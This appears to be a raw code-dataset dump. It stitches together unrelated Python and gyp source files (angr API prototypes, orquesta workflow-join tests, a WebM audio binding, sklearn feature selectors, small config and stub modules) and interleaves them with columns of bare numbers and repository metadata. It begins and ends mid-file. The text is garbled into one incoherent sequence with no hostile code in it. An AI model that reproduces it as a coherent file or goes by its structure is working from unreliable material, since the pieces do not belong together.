SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["RtmRegHandle", "NumHandles", "RtmHandles"]), } lib.set_prototypes(prototypes)
433.05814
5,069
0.743603
8,031
74,486
6.85282
0.044826
0.189843
0.149432
0.196529
0.929917
0.923122
0.921941
0.919251
0.919251
0.918216
0
0.02236
0.066952
74,486
171
5,070
435.590643
0.769522
0.000376
0
0
0
0
0.244179
0.013579
0
0
0
0
0
1
0
false
0
0.05618
0
0.05618
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
ba83ca8c223b3b4771c84d25ef6a1cff14c3a552
117
py
Python
montepython/likelihoods/Planck_highl_TTTEEE_lite/__init__.py
archaeo-pteryx/montepython_public
6fbcaa3266fd3a10a8e3ed4190dc65e6f29f1a37
[ "MIT" ]
69
2018-04-20T07:38:33.000Z
2022-03-11T06:55:36.000Z
montepython/likelihoods/Planck_highl_TTTEEE_lite/__init__.py
archaeo-pteryx/montepython_public
6fbcaa3266fd3a10a8e3ed4190dc65e6f29f1a37
[ "MIT" ]
263
2018-05-20T21:58:11.000Z
2022-03-30T21:45:48.000Z
montepython/likelihoods/Planck_highl_TTTEEE_lite/__init__.py
archaeo-pteryx/montepython_public
6fbcaa3266fd3a10a8e3ed4190dc65e6f29f1a37
[ "MIT" ]
78
2018-04-21T13:11:54.000Z
2022-02-01T01:57:31.000Z
from montepython.likelihood_class import Likelihood_clik class Planck_highl_TTTEEE_lite(Likelihood_clik): pass
19.5
56
0.854701
15
117
6.266667
0.733333
0.297872
0
0
0
0
0
0
0
0
0
0
0.111111
117
5
57
23.4
0.903846
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
7
badeeba5e08382244f0ea2435cb8edb92764e684
25
py
Python
seven.py
glennandreph/learnpython
deeb48f9d2c38fcdb9f13119083f3cc7e4836e70
[ "MIT" ]
1
2017-12-16T16:44:05.000Z
2017-12-16T16:44:05.000Z
seven.py
glennandreph/learnpython
deeb48f9d2c38fcdb9f13119083f3cc7e4836e70
[ "MIT" ]
null
null
null
seven.py
glennandreph/learnpython
deeb48f9d2c38fcdb9f13119083f3cc7e4836e70
[ "MIT" ]
null
null
null
a, b = 3, 4 print(a,b)
8.333333
12
0.44
7
25
1.571429
0.714286
0.363636
0
0
0
0
0
0
0
0
0
0.117647
0.32
25
2
13
12.5
0.529412
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0.5
1
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
7
2423220c7230354ce693c7d748ba7fe4f512f460
25,937
py
Python
orquesta/tests/unit/conducting/native/test_workflow_join.py
exp-vkishore/orquesta
2823b42aff71ea711024a81f893af38033cb5de7
[ "Apache-2.0" ]
85
2018-07-26T04:29:49.000Z
2022-03-31T10:47:50.000Z
orquesta/tests/unit/conducting/native/test_workflow_join.py
exp-vkishore/orquesta
2823b42aff71ea711024a81f893af38033cb5de7
[ "Apache-2.0" ]
149
2018-07-27T22:36:45.000Z
2022-03-31T10:54:32.000Z
orquesta/tests/unit/conducting/native/test_workflow_join.py
exp-vkishore/orquesta
2823b42aff71ea711024a81f893af38033cb5de7
[ "Apache-2.0" ]
24
2018-08-07T13:37:41.000Z
2021-12-16T18:12:43.000Z
# Copyright 2021 The StackStorm Authors. # Copyright 2019 Extreme Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from orquesta import rehearsing from orquesta import statuses from orquesta.tests.unit.conducting.native import base class JoinWorkflowConductorTest(base.OrchestraWorkflowConductorTest): def test_join(self): test_spec = { "workflow": self.get_wf_file_path("join"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_no_inbound(self): test_spec = { "workflow": self.get_wf_file_path("join"), # Both tasks before the join, task3 and task5, failed. # The criteria for the join task is not met. "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, {"task_id": "task5", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_single_inbound_from_left(self): test_spec = { "workflow": self.get_wf_file_path("join"), # First task before the join, task3, failed. # The criteria for the join task is not met. "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_single_inbound_from_right(self): test_spec = { "workflow": self.get_wf_file_path("join"), # First task before the join, task5, failed. # The criteria for the join task is not met. "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], "mock_action_executions": [ {"task_id": "task5", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_satisfied_with_branch_running(self): test_spec = { "workflow": self.get_wf_file_path("join-count"), # Mock one of the branches is still running and # the join task is satisfied and completed. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "task3", "task5", "task8", ], "mock_action_executions": [ {"task_id": "task6", "status": statuses.RUNNING}, ], "expected_workflow_status": statuses.RUNNING, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_satisfied_with_branch_error_1(self): test_spec = { "workflow": self.get_wf_file_path("join-count"), # Mock error at task6 of branch 3. The criteria for join task is met. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "noop__r1", "task3", "task5", "task8", ], "expected_routes": [[], ["task6__t0"]], "mock_action_executions": [ {"task_id": "task6", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_satisfied_with_branch_error_2(self): test_spec = { "workflow": self.get_wf_file_path("join-count"), # Mock error at task7 of branch 3. The criteria for join task is met. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "task3", "task5", "task7", "noop__r1", "task8", ], "expected_routes": [[], ["task7__t0"]], "mock_action_executions": [ {"task_id": "task7", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_not_satisfied(self): test_spec = { "workflow": self.get_wf_file_path("join-count"), # Mock errors at branch 2 and 3. The criteria for join task is not met. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "task3", "task5", "task7", "noop__r1", "noop__r2", ], "expected_routes": [[], ["task5__t0"], ["task7__t0"]], "mock_action_executions": [ {"task_id": "task5", "status": statuses.FAILED}, {"task_id": "task7", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, "expected_errors": [ { "message": "Execution failed. See result for details.", "type": "error", "task_id": "task5", }, { "message": "Execution failed. See result for details.", "type": "error", "task_id": "task7", }, { "message": ( 'UnreachableJoinError: The join task|route "task8|0" ' "is partially satisfied but unreachable." ), "type": "error", "route": 0, "task_id": "task8", }, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_not_satisfied_no_inbound(self): test_spec = { "workflow": self.get_wf_file_path("join-count"), # Mock all branches failed. The criteria for join task is not met. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "task3", "task5", "task7", "noop__r1", "noop__r2", ], "expected_routes": [[], ["task5__t0"], ["task7__t0"]], "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, {"task_id": "task5", "status": statuses.FAILED}, {"task_id": "task7", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, "expected_errors": [ { "message": "Execution failed. See result for details.", "type": "error", "task_id": "task3", }, { "message": "Execution failed. See result for details.", "type": "error", "task_id": "task5", }, { "message": "Execution failed. See result for details.", "type": "error", "task_id": "task7", }, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_context(self): test_spec = { "workflow": self.get_wf_file_path("join-context"), "expected_task_sequence": [ "task1", "task2", "task4", "task6", "task8", "task3", "task5", "task7", "task9", "task10", ], "mock_action_executions": [ {"task_id": "task2", "result": "Fee fi"}, {"task_id": "task4", "result": "I smell the blood of an English man"}, {"task_id": "task3", "result": "fo fum"}, {"task_id": "task7", "result": "Be alive, or be he dead"}, ], "expected_output": { "messages": [ "Fee fi fo fum", "I smell the blood of an English man", "Be alive, or be he dead", "I'll grind his bones to make my bread", ] }, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_completed_both_branches_succeeded(self): test_spec = { "workflow": self.get_wf_file_path("join-on-complete"), # The tasks before the join, task3 and task5, both succeeded. "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_completed_one_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-on-complete"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], # First tasks before the join, task3, failed. "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_completed_other_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-on-complete"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], # Second tasks before the join, task5, failed. "mock_action_executions": [ {"task_id": "task5", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_completed_both_branches_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-on-complete"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], # Both tasks before the join, task3 and task5, failed. "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, {"task_id": "task5", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_failed_both_branches_succeeded(self): test_spec = { "workflow": self.get_wf_file_path("join-on-fail"), "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_failed_one_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-on-fail"), "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], # First task before the join, task3, failed. "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, "expected_errors": [ { "message": "Execution failed. See result for details.", "type": "error", "task_id": "task3", }, { "message": ( 'UnreachableJoinError: The join task|route "task6|0" ' "is partially satisfied but unreachable." ), "type": "error", "route": 0, "task_id": "task6", }, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_failed_other_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-on-fail"), "expected_task_sequence": ["task1", "task2", "task4", "task3", "task5"], # Second task before the join, task5, failed. "mock_action_executions": [ {"task_id": "task5", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, "expected_errors": [ { "message": "Execution failed. See result for details.", "type": "error", "task_id": "task5", }, { "message": ( 'UnreachableJoinError: The join task|route "task6|0" ' "is partially satisfied but unreachable." ), "type": "error", "route": 0, "task_id": "task6", }, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_task_transition_on_failed_both_branches_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-on-fail"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], # The tasks before the join, task3 and task5, both failed. "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, {"task_id": "task5", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_all_complex_both_branches_succeeded(self): # In this workflow, both tasks task3 and task5 join all to task6. There # are multiple task transition with different criteria (succeeded, # failed, and completed) defined at each task. All the task transition # specify task6 as the next task. Previously, join all requires all # inbound task transition to pass criteria. So for cases where tasks # defined multiple task transition with different criteria to the same # join task, the join all will never be satisfied. This is now changed # such that as long as there is at least one inbound task transition # from the same task that meets criteria, then the join condition from # that inbound task is considered satisfied. test_spec = { "workflow": self.get_wf_file_path("join-all-complex"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_all_complex_one_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-all-complex"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], # One of the branches failed and the other succeeded. Each # of the task will trigger different criteria in the task # transition but will still join on task6. "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_all_complex_other_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-all-complex"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], # One of the branches succeeded and the other failed. Each # of the task will trigger different criteria in the task # transition but will still join on task6. "mock_action_executions": [ {"task_id": "task5", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_all_complex_both_branches_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-all-complex"), "expected_task_sequence": [ "task1", "task2", "task4", "task3", "task5", "task6", "task7", ], # Both branch 1 and 2 failed and triggering a different # set of task transition but will still join on task6. "mock_action_executions": [ {"task_id": "task3", "status": statuses.FAILED}, {"task_id": "task5", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_complex_all_branches_succeeded(self): # In this workflow, the task task3, task5, and task7 join on task8. # There are multiple task transition with different criteria (succeeded, # failed, and completed) defined at each task. All the task transition # specify task8 as the next task. Previously, join count tallies any # inbound task transition to pass criteria. This is now changed such # that the count is on the inbound task and not on task transition. test_spec = { "workflow": self.get_wf_file_path("join-count-complex"), # All branches succeeded. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "task3", "task5", "task7", "task8", "task9", ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_complex_one_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-count-complex"), # One of three branches failed. Branch 3 failed. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "noop__r1", "task3", "task5", "task8", "task9", ], "expected_routes": [[], ["task6__t0"]], "mock_action_executions": [ {"task_id": "task6", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_complex_other_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-count-complex"), # One of three branches failed. Branch 2 failed. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "noop__r1", "task3", "task7", "task8", "task9", ], "expected_routes": [[], ["task4__t0"]], "mock_action_executions": [ {"task_id": "task4", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_complex_another_branch_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-count-complex"), # One of three branches failed. Branch 1 failed. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "noop__r1", "task5", "task7", "task8", "task9", ], "expected_routes": [[], ["task2__t0"]], "mock_action_executions": [ {"task_id": "task2", "status": statuses.FAILED}, ], } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_complex_two_branches_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-count-complex"), # Two of three branches failed. Branch 2 and 3 failed. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "noop__r1", "noop__r2", "task3", ], "expected_routes": [[], ["task4__t0"], ["task6__t0"]], "mock_action_executions": [ {"task_id": "task4", "status": statuses.FAILED}, {"task_id": "task6", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_complex_other_two_branches_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-count-complex"), # Two of three branches failed. Branch 1 and 2 failed. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "noop__r1", "noop__r2", "task7", ], "expected_routes": [[], ["task2__t0"], ["task4__t0"]], "mock_action_executions": [ {"task_id": "task2", "status": statuses.FAILED}, {"task_id": "task4", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence() def test_join_count_complex_another_two_branches_failed(self): test_spec = { "workflow": self.get_wf_file_path("join-count-complex"), # Two of three branches failed. Branch 1 and 3 failed. "expected_task_sequence": [ "task1", "task2", "task4", "task6", "noop__r1", "noop__r2", "task5", ], "expected_routes": [[], ["task2__t0"], ["task6__t0"]], "mock_action_executions": [ {"task_id": "task2", "status": statuses.FAILED}, {"task_id": "task6", "status": statuses.FAILED}, ], "expected_workflow_status": statuses.FAILED, } rehearsal = rehearsing.load_test_spec(test_spec) rehearsal.assert_conducting_sequence()
36.123955
86
0.502333
2,391
25,937
5.16102
0.089502
0.056402
0.068071
0.047002
0.869611
0.863128
0.829498
0.820097
0.810778
0.795624
0
0.022276
0.38902
25,937
717
87
36.174338
0.756421
0.12993
0
0.821248
0
0
0.231091
0.06635
0
0
0
0
0.048904
1
0.048904
false
0
0.005059
0
0.055649
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
036e9e4fe366216b45c447bed5e1a1ee3f5808e5
2,370
gyp
Python
binding.gyp
jyd519/node-audio
973b5c77b2f7e30c6ccf51a103ae3d25957b77da
[ "MIT" ]
null
null
null
binding.gyp
jyd519/node-audio
973b5c77b2f7e30c6ccf51a103ae3d25957b77da
[ "MIT" ]
null
null
null
binding.gyp
jyd519/node-audio
973b5c77b2f7e30c6ccf51a103ae3d25957b77da
[ "MIT" ]
null
null
null
{ "variables": { "libwebm_root%": "", }, "targets": [ { "target_name": "audio", "sources": [ "audio-napi.cc", "webvtt/vttreader.cc", "webvtt/webvttparser.cc", "webm_muxer.cc", "sample_muxer_metadata.cc" ], "conditions": [ ['OS=="mac"', { 'defines': [ '__MACOSX_CORE__' ], 'include_dirs': ['<(libwebm_root)'], 'link_settings': { 'libraries': [ '-framework', 'CoreAudio', '-lwebm', '-L<(libwebm_root)/lib', ] }, 'xcode_settings': { 'GCC_ENABLE_CPP_EXCEPTIONS': 'YES' } } ], ['OS=="win"', { 'defines': [ ], 'include_dirs': ['<(libwebm_root)', '.'], 'link_settings': { 'libraries': [ '<(libwebm_root)\\lib\\libwebm.lib', ] }, } ], ] }, { "target_name": "webm", "type": "shared_library", "sources": [ "webvtt/vttreader.cc", "webvtt/webvttparser.cc", "webm_muxer.cc", "sample_muxer_metadata.cc" ], "conditions": [ ['OS=="mac"', { 'defines': [ '__MACOSX_CORE__' ], 'include_dirs': ['<(libwebm_root)'], 'link_settings': { 'libraries': [ '-lwebm', '-L<(libwebm_root)/lib', ] }, 'xcode_settings': { 'GCC_ENABLE_CPP_EXCEPTIONS': 'YES' } } ], ['OS=="win"', { 'defines': [ ], 'include_dirs': ['<(libwebm_root)'], 'link_settings': { 'libraries': [ '<(libwebm_root)\\lib\\libwebm.lib', ] }, } ], ] }, { 'target_name': 'action_after_build', 'type': 'none', 'dependencies': [ 'audio', 'webm' ], "conditions": [ ['OS=="mac"', { 'copies': [ { 'files': [ '<(PRODUCT_DIR)/audio.node', '<(PRODUCT_DIR)/webm.dylib' ], 'destination': '<(module_root_dir)/<(target_arch)' } ] }], ['OS=="win"', { 'copies': [ { 'files': [ '<(PRODUCT_DIR)/audio.node', '<(PRODUCT_DIR)/webm.dll' ], 'destination': '<(module_root_dir)/<(target_arch)' } ] }], ] } ] }
23.009709
129
0.41097
173
2,370
5.300578
0.33526
0.107961
0.078517
0.095965
0.804798
0.804798
0.730643
0.730643
0.730643
0.634678
0
0
0.386498
2,370
102
130
23.235294
0.630674
0
0
0.470588
0
0
0.459494
0.174684
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
304dc300d04542e17a57df98c7fab70e8a016d98
593
py
Python
GaiaHelpers/LocalConfig.py
uHappyLogic/GaiaDbConsumer
a615b689fc30a3cc9dfd0b581d279899bf7a0f8b
[ "MIT" ]
null
null
null
GaiaHelpers/LocalConfig.py
uHappyLogic/GaiaDbConsumer
a615b689fc30a3cc9dfd0b581d279899bf7a0f8b
[ "MIT" ]
null
null
null
GaiaHelpers/LocalConfig.py
uHappyLogic/GaiaDbConsumer
a615b689fc30a3cc9dfd0b581d279899bf7a0f8b
[ "MIT" ]
null
null
null
# This file is generated by ./Setup.py class LocalConfig: @staticmethod def initialized(): pass @staticmethod def get_db_name(): return 'universe_db' @staticmethod def get_db_user(): return 'postgres' @staticmethod def get_db_host(): return '127.0.0.1' @staticmethod def get_db_port(): return '5432' @staticmethod def get_db_password(): return 'not_this_time' @staticmethod def get_workers_count(): return 12 @staticmethod def get_star_ratio(): return 0.05
16.942857
38
0.60371
69
593
4.942029
0.507246
0.351906
0.369501
0.293255
0
0
0
0
0
0
0
0.036675
0.310287
593
34
39
17.441176
0.797066
0.060708
0
0.32
1
0
0.081081
0
0
0
0
0
0
1
0.32
true
0.08
0
0.28
0.64
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
1
1
0
1
0
0
0
8
063fad2f95f59558dc74ef77ed09d4da9d5648a9
1,187
py
Python
extensions/.stubs/clrclasses/System/Collections/Specialized/__init__.py
vicwjb/Pycad
7391cd694b7a91ad9f9964ec95833c1081bc1f84
[ "MIT" ]
1
2020-03-25T03:27:24.000Z
2020-03-25T03:27:24.000Z
extensions/.stubs/clrclasses/System/Collections/Specialized/__init__.py
vicwjb/Pycad
7391cd694b7a91ad9f9964ec95833c1081bc1f84
[ "MIT" ]
null
null
null
extensions/.stubs/clrclasses/System/Collections/Specialized/__init__.py
vicwjb/Pycad
7391cd694b7a91ad9f9964ec95833c1081bc1f84
[ "MIT" ]
null
null
null
from __clrclasses__.System.Collections.Specialized import BitVector32 from __clrclasses__.System.Collections.Specialized import CollectionsUtil from __clrclasses__.System.Collections.Specialized import HybridDictionary from __clrclasses__.System.Collections.Specialized import INotifyCollectionChanged from __clrclasses__.System.Collections.Specialized import IOrderedDictionary from __clrclasses__.System.Collections.Specialized import ListDictionary from __clrclasses__.System.Collections.Specialized import NameObjectCollectionBase from __clrclasses__.System.Collections.Specialized import NameValueCollection from __clrclasses__.System.Collections.Specialized import NotifyCollectionChangedAction from __clrclasses__.System.Collections.Specialized import NotifyCollectionChangedEventArgs from __clrclasses__.System.Collections.Specialized import NotifyCollectionChangedEventHandler from __clrclasses__.System.Collections.Specialized import OrderedDictionary from __clrclasses__.System.Collections.Specialized import StringCollection from __clrclasses__.System.Collections.Specialized import StringDictionary from __clrclasses__.System.Collections.Specialized import StringEnumerator
74.1875
93
0.911542
105
1,187
9.733333
0.2
0.205479
0.293542
0.45499
0.704501
0.704501
0
0
0
0
0
0.001775
0.050548
1,187
15
94
79.133333
0.905058
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
068a6d217b834098ad7e4f7eda01e0cab533686f
167
py
Python
dart/experiments/tools/__init__.py
fpirovan/NoiseInjection
d1a8c90aaf45d435d40c476a2d2e74258920ff22
[ "RSA-MD" ]
null
null
null
dart/experiments/tools/__init__.py
fpirovan/NoiseInjection
d1a8c90aaf45d435d40c476a2d2e74258920ff22
[ "RSA-MD" ]
null
null
null
dart/experiments/tools/__init__.py
fpirovan/NoiseInjection
d1a8c90aaf45d435d40c476a2d2e74258920ff22
[ "RSA-MD" ]
2
2020-11-06T06:57:35.000Z
2021-04-26T13:23:35.000Z
from .expert import * from .learner import * from .noise import * from .statistics import * from .supervisor import * from .traj_learner import * from .utils import *
20.875
27
0.748503
22
167
5.636364
0.409091
0.483871
0.274194
0
0
0
0
0
0
0
0
0
0.167665
167
7
28
23.857143
0.892086
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ebee68fb90f5ef8ebaa17bf01019455605e7c79c
4,383
py
Python
optimalflow/selectorFS.py
tonyleidong/OptimalFlow
f2aaddaa083673f0343a579899ad0db7ee294707
[ "MIT" ]
23
2020-08-30T18:40:08.000Z
2022-02-28T11:36:29.000Z
optimalflow/selectorFS.py
tonyleidong/optimalflow
8c38b2f6681ba8754f4d3aeb0785d55e8d8310ba
[ "MIT" ]
null
null
null
optimalflow/selectorFS.py
tonyleidong/optimalflow
8c38b2f6681ba8754f4d3aeb0785d55e8d8310ba
[ "MIT" ]
10
2020-09-08T17:17:13.000Z
2022-02-07T03:07:28.000Z
#!/usr/bin/env python import pandas as pd from sklearn.feature_selection import SelectKBest, chi2, RFE,RFECV, f_regression, f_classif from sklearn.svm import SVC, SVR from sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor from sklearn.linear_model import LogisticRegression import warnings warnings.filterwarnings('ignore', category=FutureWarning) warnings.filterwarnings('ignore', category=DeprecationWarning) class clf_fs: """This class stores classification selectors. Parameters ---------- fs_num : int, default = None Set the # of features want to select out. random_state : int, default = None Random state value. cv : int, default = None # of folds for cross-validation. Example ------- .. [Example] References ---------- None """ def __init__(self,fs_num = None ,random_state = None,cv = None): self.fs_num = fs_num self.random_state = random_state self.cv = cv def kbest_f(self): selector = SelectKBest(score_func = f_classif, k = self.fs_num) return (selector) def kbest_chi2(self): selector = SelectKBest(score_func = chi2, k = self.fs_num) return (selector) def rfe_lr(self): estimator = LogisticRegression() selector = RFE(estimator, n_features_to_select = self.fs_num) return(selector) def rfe_svm(self): estimator = SVC(kernel="linear") selector = RFE(estimator, n_features_to_select = self.fs_num) return(selector) def rfe_tree(self): estimator = DecisionTreeClassifier() selector = RFE(estimator, n_features_to_select = self.fs_num) return(selector) def rfe_rf(self): estimator = RandomForestClassifier(max_depth = 3, n_estimators = 5) selector = RFE(estimator, n_features_to_select = self.fs_num) return(selector) def rfecv_svm(self): estimator = SVC(kernel="linear") selector = RFECV(estimator, min_features_to_select = self.fs_num, cv = self.cv) return(selector) def rfecv_tree(self): estimator = DecisionTreeClassifier() selector = RFECV(estimator, min_features_to_select = self.fs_num, cv = self.cv) return(selector) def rfecv_rf(self): estimator = RandomForestClassifier(max_depth = 3, n_estimators = 5) selector = RFECV(estimator, min_features_to_select = self.fs_num, cv = self.cv) return(selector) class reg_fs: """This class stores regression selectors. Parameters ---------- fs_num : int, default = None Set the # of features want to select out. random_state : int, default = None Random state value. cv : int, default = None # of folds for cross-validation. Example ------- .. [Example] References ---------- None """ def __init__(self,fs_num,random_state = None,cv = None): self.fs_num = fs_num self.random_state = random_state self.cv = cv def kbest_f(self): selector = SelectKBest(score_func = f_regression, k = self.fs_num) return (selector) def rfe_svm(self): estimator = SVR(kernel="linear") selector = RFE(estimator, n_features_to_select = self.fs_num) return(selector) def rfe_tree(self): estimator = DecisionTreeRegressor() selector = RFE(estimator, n_features_to_select = self.fs_num) return(selector) def rfe_rf(self): estimator = RandomForestRegressor(max_depth = 3, n_estimators = 5) selector = RFE(estimator, n_features_to_select = self.fs_num) return(selector) def rfecv_svm(self): estimator = SVR(kernel="linear") selector = RFECV(estimator, min_features_to_select = self.fs_num, cv = self.cv) return(selector) def rfecv_tree(self): estimator = DecisionTreeRegressor() selector = RFECV(estimator, min_features_to_select = self.fs_num, cv = self.cv) return(selector) def rfecv_rf(self): estimator = RandomForestRegressor(max_depth = 3, n_estimators = 5) selector = RFECV(estimator, min_features_to_select = self.fs_num, cv = self.cv) return(selector)
33.458015
91
0.650468
521
4,383
5.253359
0.168906
0.043844
0.065765
0.094995
0.792474
0.749361
0.749361
